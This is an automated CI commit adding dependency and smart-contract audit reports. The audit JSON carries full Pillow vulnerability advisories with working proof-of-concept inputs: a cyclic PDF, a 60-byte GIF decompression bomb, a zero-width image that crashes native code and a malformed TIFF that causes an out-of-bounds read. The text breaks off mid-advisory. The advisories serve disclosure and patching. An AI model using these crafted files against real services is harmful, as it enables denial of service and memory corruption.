From 4181605841baa41f2bd3aafacd06df93e3f144de Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 22 Oct 2026 02:15:17 +0000 Subject: [PATCH] fix(security): dynamic automated vulnerability remediation --- blockchain/slither-report.txt | 9 +++++++++ ml/ml-audit-report.txt | 32 ++++++++++++++++++++++++++++++++ ml/ml-audit.json | 1 + ml/models/anomaly_pipeline.onnx | Bin 786301 -> 786301 bytes ml/models/model_metadata.json | 2 +- ml/poetry.lock | 6 +++--- pnpm-audit-report.txt | 1 + pnpm-audit.json | 1 + 8 files changed, 48 insertions(+), 4 deletions(-) create mode 100644 blockchain/slither-report.txt create mode 100644 ml/ml-audit-report.txt create mode 100644 ml/ml-audit.json create mode 100644 pnpm-audit-report.txt create mode 100644 pnpm-audit.json diff --git a/blockchain/slither-report.txt b/blockchain/slither-report.txt new file mode 100644 index 0000000..4ec6cac --- /dev/null +++ b/blockchain/slither-report.txt @@ -0,0 +1,9 @@ +'npx hardhat clean' running (wd: /home/runner/work/RekaKarbon/RekaKarbon/blockchain) +'npx hardhat clean --global' running (wd: /home/runner/work/RekaKarbon/RekaKarbon/blockchain) +Unexpected output from Hardhat, trying to parse it anyway: ◇ injected env (0) from .env // tip: ⌘ multiple files { path: ['.env.local', '.env'] } +◇ injected env (0) from .env // tip: ⌘ enable debugging { debug: true } +{"root":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain","configFile":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain/hardhat.config.ts","sources":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain/contracts","cache":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain/cache","artifacts":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain/artifacts","tests":"/home/runner/work/RekaKarbon/RekaKarbon/blockchain/test"} + +Problem deserializing hardhat configuration, using defaults: Expecting property name enclosed in double quotes: line 1 column 3 (char 2) +'npx hardhat compile --force' running (wd: /home/runner/work/RekaKarbon/RekaKarbon/blockchain) +INFO:Slither:. analyzed (18 contracts with 98 detectors), 0 result(s) found diff --git a/ml/ml-audit-report.txt b/ml/ml-audit-report.txt new file mode 100644 index 0000000..85e16ed --- /dev/null +++ b/ml/ml-audit-report.txt @@ -0,0 +1,32 @@ +Found 25 known vulnerabilities in 2 packages +Name Version ID Fix Versions +------- --------- --------------- ------------ +certifi 2026.7.22 PYSEC-2026-4320 2026.10.19 +pillow 12.3.0 CVE-2026-112895 13.0.0 +pillow 12.3.0 CVE-2026-112400 13.0.0 +pillow 12.3.0 CVE-2026-112397 13.0.0 +pillow 12.3.0 CVE-2026-112896 13.0.0 +pillow 12.3.0 CVE-2026-112897 13.0.0 +pillow 12.3.0 CVE-2026-112395 13.0.0 +pillow 12.3.0 CVE-2026-112404 13.0.0 +pillow 12.3.0 CVE-2026-112899 13.0.0 +pillow 12.3.0 CVE-2026-112402 13.0.0 +pillow 12.3.0 CVE-2026-112900 13.0.0 +pillow 12.3.0 CVE-2026-112893 13.0.0 +pillow 12.3.0 CVE-2026-112392 13.0.0 +pillow 12.3.0 CVE-2026-112891 13.0.0 +pillow 12.3.0 CVE-2026-112405 13.0.0 +pillow 12.3.0 CVE-2026-112390 13.0.0 +pillow 12.3.0 CVE-2026-112401 13.0.0 +pillow 12.3.0 CVE-2026-112901 13.0.0 +pillow 12.3.0 CVE-2026-112391 13.0.0 +pillow 12.3.0 CVE-2026-112894 13.0.0 +pillow 12.3.0 CVE-2026-112406 13.0.0 +pillow 12.3.0 CVE-2026-112399 13.0.0 +pillow 12.3.0 CVE-2026-112892 13.0.0 +pillow 12.3.0 CVE-2026-112393 13.0.0 +pillow 12.3.0 CVE-2026-112396 13.0.0 + +Name Skip Reason +------------- ------------------------------- +rekakarbon-ml distribution marked as editable diff --git a/ml/ml-audit.json b/ml/ml-audit.json new file mode 100644 index 0000000..944e05e --- /dev/null +++ b/ml/ml-audit.json @@ -0,0 +1 @@ +{"dependencies": [{"name": "altair", "version": "6.2.2", "vulns": []}, {"name": "annotated-types", "version": "0.8.0", "vulns": []}, {"name": "anyio", "version": "4.14.2", "vulns": []}, {"name": "ast-serialize", "version": "0.8.0", "vulns": []}, {"name": "attrs", "version": "26.1.0", "vulns": []}, {"name": "blinker", "version": "1.9.0", "vulns": []}, {"name": "boolean-py", "version": "5.0", "vulns": []}, {"name": "cachecontrol", "version": "0.14.4", "vulns": []}, {"name": "certifi", "version": "2026.7.22", "vulns": [{"id": "PYSEC-2026-4320", "fix_versions": ["2026.10.19"], "aliases": ["GHSA-6q48-6c7w-9gw2"], "description": "Certifi versions before 2026.10.18 include the `emSign ECC Root CA - G3` root certificate in their bundled CA store. Eight eMudhra intermediate CA certificates that chain to this root have compromised private keys and the CA has revoked them. An attacker with one of the compromised keys can issue valid-looking certificates for any hostname. If the attacker is also on-path, they can intercept or modify TLS traffic from clients that trust the certifi bundle. Examples include `requests`, `urllib3` and `pip`, and the Python.org macOS installer. Certifi 2026.10.18 removed all emSign roots from the bundle. Certifi 2026.10.19 restored the emSign roots that are not affected. Upgrade to 2026.10.19 or later, and rebuild container images that vendor certifi."}]}, {"name": "charset-normalizer", "version": "3.5.1", "vulns": []}, {"name": "click", "version": "8.4.2", "vulns": []}, {"name": "cloudpickle", "version": "3.1.2", "vulns": []}, {"name": "contourpy", "version": "1.3.3", "vulns": []}, {"name": "cuda-bindings", "version": "13.3.1", "vulns": []}, {"name": "cuda-pathfinder", "version": "1.8.1", "vulns": []}, {"name": "cuda-toolkit", "version": "13.0.3.0", "vulns": []}, {"name": "cycler", "version": "0.12.1", "vulns": []}, {"name": "cyclonedx-python-lib", "version": "11.12.0", "vulns": []}, {"name": "defusedxml", "version": "0.7.1", "vulns": []}, {"name": "et-xmlfile", "version": "2.0.0", "vulns": []}, {"name": "filelock", "version": "3.32.5", "vulns": []}, {"name": "flatbuffers", "version": "25.12.19", "vulns": []}, {"name": "fonttools", "version": "4.63.0", "vulns": []}, {"name": "fsspec", "version": "2026.7.0", "vulns": []}, {"name": "h11", "version": "0.16.0", "vulns": []}, {"name": "httptools", "version": "0.8.0", "vulns": []}, {"name": "idna", "version": "3.19", "vulns": []}, {"name": "iniconfig", "version": "2.3.0", "vulns": []}, {"name": "itsdangerous", "version": "2.2.0", "vulns": []}, {"name": "jinja2", "version": "3.1.6", "vulns": []}, {"name": "joblib", "version": "1.5.3", "vulns": []}, {"name": "jsonschema", "version": "4.26.0", "vulns": []}, {"name": "jsonschema-specifications", "version": "2025.9.1", "vulns": []}, {"name": "kiwisolver", "version": "1.5.1", "vulns": []}, {"name": "librt", "version": "0.15.0", "vulns": []}, {"name": "license-expression", "version": "30.4.4", "vulns": []}, {"name": "llvmlite", "version": "0.49.0", "vulns": []}, {"name": "markdown-it-py", "version": "4.2.0", "vulns": []}, {"name": "markupsafe", "version": "3.0.3", "vulns": []}, {"name": "matplotlib", "version": "3.11.1", "vulns": []}, {"name": "mdurl", "version": "0.1.2", "vulns": []}, {"name": "ml-dtypes", "version": "0.6.0", "vulns": []}, {"name": "mpmath", "version": "1.3.0", "vulns": []}, {"name": "msgpack", "version": "1.2.2", "vulns": []}, {"name": "mypy", "version": "2.3.1", "vulns": []}, {"name": "mypy-extensions", "version": "1.1.0", "vulns": []}, {"name": "narwhals", "version": "2.25.0", "vulns": []}, {"name": "networkx", "version": "3.6.1", "vulns": []}, {"name": "numba", "version": "0.67.0", "vulns": []}, {"name": "numpy", "version": "2.5.2", "vulns": []}, {"name": "nvidia-cublas", "version": "13.1.1.3", "vulns": []}, {"name": "nvidia-cuda-cupti", "version": "13.0.85", "vulns": []}, {"name": "nvidia-cuda-nvrtc", "version": "13.0.88", "vulns": []}, {"name": "nvidia-cuda-runtime", "version": "13.0.96", "vulns": []}, {"name": "nvidia-cudnn-cu13", "version": "9.24.0.43", "vulns": []}, {"name": "nvidia-cufft", "version": "12.0.0.61", "vulns": []}, {"name": "nvidia-cufile", "version": "1.15.1.6", "vulns": []}, {"name": "nvidia-curand", "version": "10.4.0.35", "vulns": []}, {"name": "nvidia-cusolver", "version": "12.0.4.66", "vulns": []}, {"name": "nvidia-cusparse", "version": "12.6.3.3", "vulns": []}, {"name": "nvidia-cusparselt-cu13", "version": "0.8.1", "vulns": []}, {"name": "nvidia-nccl-cu13", "version": "2.30.7", "vulns": []}, {"name": "nvidia-nvjitlink", "version": "13.3.33", "vulns": []}, {"name": "nvidia-nvshmem-cu13", "version": "3.4.5", "vulns": []}, {"name": "nvidia-nvtx", "version": "13.0.85", "vulns": []}, {"name": "onnx", "version": "1.22.0", "vulns": []}, {"name": "onnxruntime", "version": "1.29.0", "vulns": []}, {"name": "openpyxl", "version": "3.1.5", "vulns": []}, {"name": "packageurl-python", "version": "0.17.6", "vulns": []}, {"name": "packaging", "version": "26.3", "vulns": []}, {"name": "pandas", "version": "3.0.5", "vulns": []}, {"name": "pandas-stubs", "version": "3.0.5.260730", "vulns": []}, {"name": "pathspec", "version": "1.1.1", "vulns": []}, {"name": "pillow", "version": "12.3.0", "vulns": [{"id": "CVE-2026-112895", "fix_versions": ["13.0.0"], "aliases": ["GHSA-p4wg-p73j-c528"], "description": "### Summary When an application appends to an existing PDF with `Image.save(..., format=\"PDF\", append=True)`, Pillow parses that file with `PdfParser`. Two recursive parsers have no effective bound. `linearize_page_tree` follows `/Kids` with no visited set or depth limit, so a cyclic or duplicated page tree recurses without end. `read_prev_trailer` rejects only an exactly repeated `/Prev` offset, so a long chain of unique offsets still recurses. The trailer-loop guard added for CVE-2026-42310 does not cover either case. ### Details `linearize_page_tree` recurses on `/Kids` with no cycle or depth check: - `src/PIL/PdfParser.py:1078-1092` `read_prev_trailer` catches only a repeated offset: - `src/PIL/PdfParser.py:697-720` (the `processed_offsets` check at `:714-718` is the CVE-2026-42310 fix; a unique-offset chain slips past it) ### PoC ```python from PIL import PdfParser # A page tree whose /Pages nodes reference each other in a cycle (2 -> 3 -> 2). objs = { 1: b\"<< /Type /Catalog /Pages 2 0 R >>\", 2: b\"<< /Type /Pages /Kids [3 0 R] /Count 1 >>\", 3: b\"<< /Type /Pages /Kids [2 0 R] /Count 1 >>\", } buf = bytearray(b\"%PDF-1.4\\n\") off = {} for oid in (1, 2, 3): off[oid] = len(buf) buf += b\"%d 0 obj\\n\" % oid + objs[oid] + b\"\\nendobj\\n\" xref = len(buf) buf += b\"xref\\n0 4\\n0000000000 65535 f \\n\" buf += b\"\".join(b\"%010d 00000 n \\n\" % off[o] for o in (1, 2, 3)) buf += b\"trailer\\n<< /Root 1 0 R /Size 4 >>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref open(\"poc.pdf\", \"wb\").write(buf) PdfParser.PdfParser(\"poc.pdf\", mode=\"r+b\") # append=True parses the existing file the same way ``` Run it: ``` $ python 11_poc.py RecursionError: maximum recursion depth exceeded ``` The 315-byte file triggers the recursion on parse. A duplicated (non-cyclic) `/Kids` tree instead produces super-linear CPU and memory work, and a long unique-offset `/Prev` chain triggers the trailer-side recursion. ### Impact A service that appends to user-supplied PDFs, for example a stamping or watermarking pipeline, can be driven into uncaught recursion or heavy CPU and memory use before any image is written. Follow-up to CVE-2026-42310. Since Pillow's policy discourages filing plain Python exceptions as denial of service, lead with the cyclic-tree case, which burns CPU and memory rather than only raising `RecursionError`. The fix is a visited set plus a depth limit in both parsers."}, {"id": "CVE-2026-112400", "fix_versions": ["13.0.0"], "aliases": ["GHSA-65qm-jvmh-6pqg"], "description": "``` ============================================================================ GIF seek keeps rejected size after DecompressionBombError, allowing DoS Location: src/PIL/GifImagePlugin.py:293 in GifImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A GIF of about 60 bytes can make Pillow allocate gigabytes of memory. This affects applications that catch the \"image too large\" error raised while stepping to a later animation frame and then keep using the same image object. Pillow correctly refuses the oversized frame, but it stores the refused dimensions on the image object anyway, and later operations size their memory from them. An attacker who can upload a GIF to such a service can exhaust its memory: the process either fails with an out-of-memory error after committing gigabytes, or is killed by the operating system. There is no memory corruption. The bug is in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`). When a frame's extent enlarges the image, the code assigns the new size to `self._size` and only then calls `Image._decompression_bomb_check()`. Nothing restores the old size when `DecompressionBombError` is raised, because `seek()` only rolls back on `EOFError`. After the caught error, `im.size` reports the rejected size while the pixel buffer `im.im` is still the 1\u00d71 first frame. Because the extent is a 16-bit offset plus a 16-bit size, that rejected size can be as large as 131070\u00d7131070. In the attached reproducer, the rejected size is 40000\u00d740000. A retried `seek(1)` followed by `load()` then reaches `load_prepare()`, which calls `Image.core.fill()` with that size to decode a single pixel. Peak memory rises from 17 MiB to 1700 MiB before a 3 GiB address-space cap stops the next allocation. `Image.new(\"RGB\", im.size, ...)` and `rotate(..., expand=True)` also allocate from the stale size. The default paths are unaffected: plain `Image.open()` plus `load()`, `ImageSequence.Iterator`, and `n_frames`/`is_animated`. The ordering was introduced in c9f1b35e9810 (\"Added GIF decompression bomb check\", 2022-06-30, first released in 9.2.0), the check added for CVE-2022-45198. The two dispose-extent checks later in the same function already validate before using the size, and the attached patch makes this check follow the same order. ## Details `GifImageFile._seek()` lets a later frame enlarge the image, and performs the decompression-bomb check for the new size only *after* storing it on the object: ```python # src/PIL/GifImagePlugin.py:289-294 (GifImageFile._seek) x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: self._size = max(x1, self.size[0]), max(y1, self.size[1]) # state mutated Image._decompression_bomb_check(self._size) # ...then validated ``` `_decompression_bomb_check()` (`src/PIL/Image.py:3586`) raises `DecompressionBombError` for anything above `2 * MAX_IMAGE_PIXELS` (178 956 970 px by default), but by then `self._size` already holds the rejected value and nothing restores it: `seek()` (`GifImagePlugin.py:166-179`) only rolls back on `EOFError`, and `_seek(0)` only ever grows `_size`. The object that the application still holds therefore reports `im.size == (40000, 40000)` while `im.im` is the 1\u00d71 buffer of frame 0. Compare the two dispose-extent checks a few lines further down in the same function (`GifImagePlugin.py:383` and `:407`), which call `_decompression_bomb_check(dispose_size)` *before* the corresponding `Image.core.fill()`, and `TiffImagePlugin.load_prepare()` (`src/PIL/TiffImagePlugin.py:1319-1321`), which checks `_tile_size` before allocating from it. With this 60-byte GIF (hex) ``` 47494638396101000100800000000000ffffff GIF89a, 1x1 screen, 2-entry global palette 2c000000000100010000 02 024401 00 frame 0: 1x1 @ (0,0), LZW data 2c00000000409c409c00 frame 1 descriptor: 40000x40000 @ (0,0) 2c000000000100010000 02 024401 00 another 1x1 frame 3b trailer ``` `Image.open()` succeeds (`im.size == (1, 1)`), `im.seek(1)` raises `DecompressionBombError: Image size (1600000000 pixels) exceeds limit of 178956970 pixels`, and afterwards `im.size == (40000, 40000)`, `im.im.size == (1, 1)`, `im.tell() == 0`. What happens next depends on what the application does with the object, but several ordinary operations take their dimensions from `im.size` rather than from the C buffer: - Retrying `im.seek(1)`. The failed `_seek` left `self.__offset == 0` and the file pointer just past the 9-byte descriptor, so the retry parses whatever follows \u2014 in the file above, a valid 1\u00d71 frame \u2014 and succeeds. `im.load()` then runs `GifImageFile.load_prepare()`: ```python # src/PIL/GifImagePlugin.py:452-456 elif self.mode in (\"RGB\", \"RGBA\"): self._prev_im = self.im if self._frame_palette: self.im = Image.core.fill(\"P\", self.size, self._frame_transparency or 0) ``` which allocates and `memset`s a 40000\u00d740000 \"P\" image (1.6 GB) to decode a 1\u00d71 tile into, and `load_end()` (`GifImagePlugin.py:485-491`) fills a second one and converts it to RGB (another 1.6 GB + 6.4 GB). - `im.rotate(angle, expand=True)` for a non-multiple-of-90 angle, or the common flatten-onto-background idiom `Image.new(\"RGB\", im.size, bg)`, allocate from `im.size` as well (measured on an object poisoned to 20000\u00d720000: `rotate(45, expand=True)` completes and touches 776 MiB; `Image.new(\"RGB\", im.size, \"white\")` touches 1.5 GiB). Operations that pass `im.size` as a box against the real buffer (`thumbnail`, `resize`, `save`) fail with `ValueError`/`SystemError` instead. The extent fields are 16-bit offset plus 16-bit size, so the stored size can be pushed to 131070\u00d7131070 (17.2 Gpx; 17 GB for mode \"P\", 69 GB for \"RGB\"/\"RGBA\" storage), 96\u00d7 the error threshold. `n_frames` / `is_animated` are not affected: they call `_seek(frame, update_image=False)`, which skips the `_size` assignment (the file above reports `n_frames == 2`, `is_animated == True` and leaves `im.size` at 1\u00d71). ## Impact A remote user who can upload a GIF to a service that (a) seeks animation frames and (b) catches the exception from `seek()` \u2014 a broad `except Exception` around a `while True: im.seek(im.tell()+1)` frame-collection loop, or an explicit `except DecompressionBombError: log and continue` \u2014 and then keeps using the same `Image` object, ends up driving allocations of 1.6 GB to tens of GB from a 60-byte file: `MemoryError` after the process has committed gigabytes, or an OOM kill of the worker when no address-space limit is set. The `MAX_IMAGE_PIXELS` guard fires, but does not actually keep the rejected dimensions out of the object it is guarding. The precondition is real application behaviour but not the default path: `Image.open(); im.load()` is unaffected, and `ImageSequence.Iterator` propagates the error out of the `for` statement (a `try` inside the loop body does not swallow it). Hence low severity. This is adjacent to the GIF extent bomb check added for CVE-2022-45198: the ordering was introduced with that check in `c9f1b35e9810` (\"Added GIF decompression bomb check\", 2022-06-30), first released in Pillow 9.2.0. Before it, the same size growth happened with no check at all; the check introduced there is the one that runs too late. ## Reproducing `repro` is a single Python script run against the installed Pillow. It needs about 1.7 GB of free RAM. 1. **`setup_env()`** caps the process address space at 3 GiB with `RLIMIT_AS`, so the oversized allocations end in `MemoryError` instead of the OOM killer. It then opens the 60-byte GIF shown above, built in memory by `bomb_gif()`. The GIF contains a 1\u00d71 screen and a 1\u00d71 frame 0, so `Image.open()` passes its own bomb check. Next comes a bare frame-1 image descriptor that declares 40000\u00d740000 (1.6 Gpx, about 9\u00d7 the error threshold). A real 1\u00d71 frame follows it. 2. **`poc()`** calls `im.seek(1)` and catches `DecompressionBombError`, the way an application that skips bad frames would. 3. **First check: the state is inconsistent.** The script prints `im.size` next to the real pixel buffer `im.im.size`. If the rejected frame had left the object unchanged, both would be `(1, 1)`. On the affected code `im.size` is `(40000, 40000)`. 4. **Second check: memory use.** The script retries `im.seek(1)`, which now parses the trailing 1\u00d71 frame, and calls `im.load()`. It prints the process's peak RSS before and after. `load_prepare()` sizes its `Image.core.fill()` from `im.size`, so loading a single pixel fills a 1.6 GB buffer before the 3 GiB cap stops the next allocation. Expected output on the affected tree: ``` open(): 60-byte GIF, size=(1, 1) seek(1) raised as intended: Image size (1600000000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. after the caught error: im.size=(40000, 40000), pixel buffer im.im.size=(1, 1) seek(1) + load() of a 1x1 frame: MemoryError at the 3 GiB cap; peak RSS 18 MiB -> 1700 MiB BUG ``` The script prints `BUG` only if both checks hold: the over-limit size stayed on the object after the exception, and peak RSS grew by more than 1000 MiB while loading a 1\u00d71 frame. Otherwise it prints `OK`. With the attached patch applied, it prints `im.size=(1, 1)`, peak RSS stays at about 23 MiB, and the last line is `OK`. ## Suggested fix The attached patch validates before mutating in `GifImageFile._seek()` (`src/PIL/GifImagePlugin.py:292-294`): the enlarged extent is computed into a local, passed to `_decompression_bomb_check()`, and only then assigned to `self._size`, matching the order of the two `dispose_size` checks further down the same function. A rejected frame therefore leaves the object in its pre-seek state; valid files behave as before, and the exception is still raised at the same point: ```diff --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` `n_frames` / `is_animated` go through `update_image=False` and are unaffected. The patch also extends `test_exception_gif_extents` in `Tests/test_decompression_bomb.py` to assert that `im.size` is unchanged after the `DecompressionBombError`. It does not change `seek()` itself; optionally, `seek()` could also treat `DecompressionBombError` like `EOFError` and re-seek to `last_frame`, so that a retried `seek()` does not resume parsing from the middle of the rejected frame. ## The patch GIF: run the decompression bomb check on an enlarging frame's extent before storing it in self._size Applies to `src/PIL/GifImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_decompression_bomb.py b/Tests/test_decompression_bomb.py index 98d833736..83cc785fc 100644 --- a/Tests/test_decompression_bomb.py +++ b/Tests/test_decompression_bomb.py @@ -63,6 +63,9 @@ class TestDecompressionBomb: with pytest.raises(Image.DecompressionBombError): im.seek(1) + # The rejected frame should not have changed the image size + assert im.size == (100, 100) + def test_exception_gif_zero_width(self, monkeypatch: pytest.MonkeyPatch) -> None: # Set limit to trigger exception on the test file monkeypatch.setattr(Image, \"MAX_IMAGE_PIXELS\", 4 * 64 * 128) diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..f9bda06c2 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -290,8 +290,9 @@ class GifImageFile(ImageFile.ImageFile): x0, y0 = i16(s, 0), i16(s, 2) x1, y1 = x0 + i16(s, 4), y0 + i16(s, 6) if (x1 > self.size[0] or y1 > self.size[1]) and update_image: - self._size = max(x1, self.size[0]), max(y1, self.size[1]) - Image._decompression_bomb_check(self._size) + size = max(x1, self.size[0]), max(y1, self.size[1]) + Image._decompression_bomb_check(size) + self._size = size frame_dispose_extent = x0, y0, x1, y1 flags = s[8] ``` ## The reproducer
Reproducer \u2014 repro, 2,474 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # GifImageFile._seek() stores a frame's enlarged size in self._size and only # *then* runs the decompression-bomb check. The check raises, but the object # keeps the rejected 40000x40000 size over its real 1x1 pixel buffer, and the # next load() allocates from that size: 1.6+ GB for a 60-byte GIF. import io import resource import struct from PIL import Image BOMB = 40000 # 40000x40000 = 1.6 Gpx, ~9x the DecompressionBombError threshold LIMIT = 2 * Image.MAX_IMAGE_PIXELS def frame_1x1(): # image descriptor at (0,0) 1x1, then a 1-pixel LZW stream return b\",\" + struct.pack(\" LIMIT and im.im.size == (1, 1) # Effect: retrying the seek lands on the real 1x1 frame, but load() sizes its # buffers from the poisoned im.size. before = peak_rss_mib() im.seek(1) try: im.load() outcome = \"completed\" except MemoryError: outcome = \"MemoryError at the 3 GiB cap\" after = peak_rss_mib() print(f\"seek(1) + load() of a 1x1 frame: {outcome}; peak RSS {before} MiB -> {after} MiB\") ballooned = after - before > 1000 print(\"BUG\" if poisoned and ballooned else \"OK\") ```
---"}, {"id": "CVE-2026-112397", "fix_versions": ["13.0.0"], "aliases": ["GHSA-58r4-6rv3-gfh8"], "description": "### Summary A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes. ### Details The PPM parser reads width and height with no lower-bound check: - `src/PIL/PpmImagePlugin.py:119` The native `apply()` writes the row edges with no guard that the width is positive: - `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;` `match()` and `get_on_pixels()` use the same edge-indexing pattern. ### PoC ```python from PIL import Image, ImageMorph # A width-0 image (also producible from a crafted PPM header). apply() indexes # outrow[width - 1] == outrow[-1] in native code. im = Image.new(\"L\", (0, 5)) ImageMorph.MorphOp(op_name=\"dilation4\").apply(im) ``` Run it: ``` $ python 03_poc.py Segmentation fault (core dumped) ``` Observed on a source build of commit `3e2ab96`. Under AddressSanitizer: ``` ==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply) #0 apply src/_imagingmorph.c:81 SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply ``` With width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow. ### Impact Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an image opened from untrusted input. Result is a crash and possible memory corruption."}, {"id": "CVE-2026-112896", "fix_versions": ["13.0.0"], "aliases": ["GHSA-pchr-8j38-3x4p"], "description": "## Summary A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1\u00d71, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with **768 SHORT values**: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading. Pillow's TIFF encoder allocates **768 \u00d7 2 = 1536 bytes**, then passes three plane pointers separated by 256 SHORT entries to libtiff. With `BitsPerSample = 16`, libtiff instead expects **65536 SHORT values per plane** and attempts a **131072-byte read** from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in `PyImaging_LibTiffEncoderNew`. The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required. ## Impact and prerequisites An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, **not demonstrated by extracting arbitrary heap contents in this report**. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed. The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output. ## Tested environment and limits of the evidence The existing observations were recorded on August 30, 2026, with **CPython 3.11.8 on macOS ARM64**, using the unmodified official **Pillow 12.3.0** wheel and its bundled **libtiff 4.7.1**: - Wheel: `pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl` - Wheel size: `4785266` bytes - Wheel SHA-256: `37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6` - Pillow source revision: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d` - Bundled libtiff SHA-256: `e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1` Apple's ASAN runtime was injected at process startup. This is **not an ASAN-rebuilt Pillow wheel**; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented. Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is **Unknown**; no CVSS score is proposed. Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. **That was not a complete Pillow 8.0.1 installation** and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range. ## Observed evidence and controls The earlier integration harness performed the natural sequence `Image.open(BytesIO(input))`, `image.load()`, then `image.save(BytesIO(), format=\"TIFF\")`, without replacing the image's metadata. Each case was recorded three times: | Original fixture | Bytes | Recorded result | | --- | ---: | --- | | `colormap16` | 1685 | Loaded as `I;16`; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3). | | `colormap8` | 1684 | Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3). | | `colormap_absent` | 137 | Same 16-bit geometry without ColorMap; save succeeded (3/3). | Address-free summary of the recorded native diagnostic: ```text AddressSanitizer: heap-buffer-overflow READ of size 131072 0 bytes after 1536-byte region Copy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt -> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField -> PyImaging_LibTiffEncoderNew Allocation: calloc -> PyImaging_LibTiffEncoderNew ``` Input SHA-256 values (also enforced inside the script): - `colormap16`: `5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d` - `colormap8`: `fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c` - `colormap_absent`: `bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556` ## Root cause and source references - [Pillow `src/encode.c`, lines 870\u2013899, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/encode.c#L870): the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with `BitsPerSample`. - [Pillow `src/PIL/TiffImagePlugin.py`, lines 1944\u20131991, pinned revision](https://github.com/python-pillow/Pillow/blob/bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d/src/PIL/TiffImagePlugin.py#L1944): save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap. - [libtiff `tif_dir.c`, lines 441\u2013448, pinned revision](https://gitlab.com/libtiff/libtiff/-/blob/5fe20d0e9aba49a6a350ed533459d1505203838f/libtiff/tif_dir.c#L441): `TIFFTAG_COLORMAP` computes the per-plane count as `1L << td->td_bitspersample` and copies that many SHORTs from each pointer. The reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer. ## Prior art and disclosure scope [Pillow PR #5148](https://github.com/python-pillow/Pillow/pull/5148), merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal `\"CustomField\"`. That is a **different field-name-lifetime fix**, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and **novelty is not asserted**. This specific report remains NOT_SENT; association with other observations is not a prior disclosure of it. ## Reproduction instructions Use an **already reviewed, existing** installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. `--package-path` is the 